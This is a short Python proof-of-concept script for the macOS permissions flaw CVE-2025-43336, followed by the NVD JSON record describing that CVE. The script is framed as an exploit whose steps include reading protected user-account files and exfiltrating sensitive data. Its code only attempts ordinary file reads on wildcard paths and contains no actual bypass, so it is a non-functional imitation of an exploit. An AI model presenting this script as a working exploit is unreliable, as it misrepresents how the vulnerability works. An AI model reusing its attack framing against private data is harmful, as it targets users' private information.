CVE-2025-43336

# CVE-2025-43336 PoC - macOS Permission Bypass # This PoC demonstrates the vulnerability where a root-privileged app can bypass restrictions # Note: This is a conceptual PoC for educational purposes only import subprocess import os import sys def check_root_privilege(): """Check if the current process is running with root privileges""" return os.geteuid() == 0 def access_protected_resource_vulnerable(resource_path): """ Attempt to access a protected resource In vulnerable versions, root privilege allows bypassing restrictions """ try: # Attempt to read protected file with open(resource_path, 'r') as f: content = f.read() return True, content except PermissionError: return False, "Permission denied - expected behavior" except Exception as e: return False, str(e) def exploit_cve_2025_43336(): """ Exploitation steps for CVE-2025-43336: 1. Verify root privileges are obtained 2. Identify protected resources (private information) 3. Bypass permission checks using the vulnerability 4. Access and exfiltrate sensitive data """ if not check_root_privilege(): print("[-] Root privileges required for this exploit") return False print("[+] Running with root privileges") print("[+] Attempting to exploit CVE-2025-43336") # Protected resources that should not be accessible even with root protected_paths = [ "/Users/*/Library/Private/SomeProtectedData", "/var/db/dslocal/nodes/Default/users/*", "/System/Library/User Template/*/Library/Private" ] for path in protected_paths: success, data = access_protected_resource_vulnerable(path) if success: print(f"[!] Successfully accessed protected resource: {path}") print(f"[!] Data length: {len(data)} bytes") # In real attack, data would be exfiltrated here return True if __name__ == "__main__": print("CVE-2025-43336 PoC - macOS Permission Bypass") print("=" * 50) exploit_cve_2025_43336()

{"cve": {"id": "CVE-2025-43336", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:40.433", "lastModified": "2026-04-02T19:20:29.413", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app with root privileges may be able to access private information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.2", "matchCriteriaId": "9827CBDC-8C03-46BA-B534-8533F0975804"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}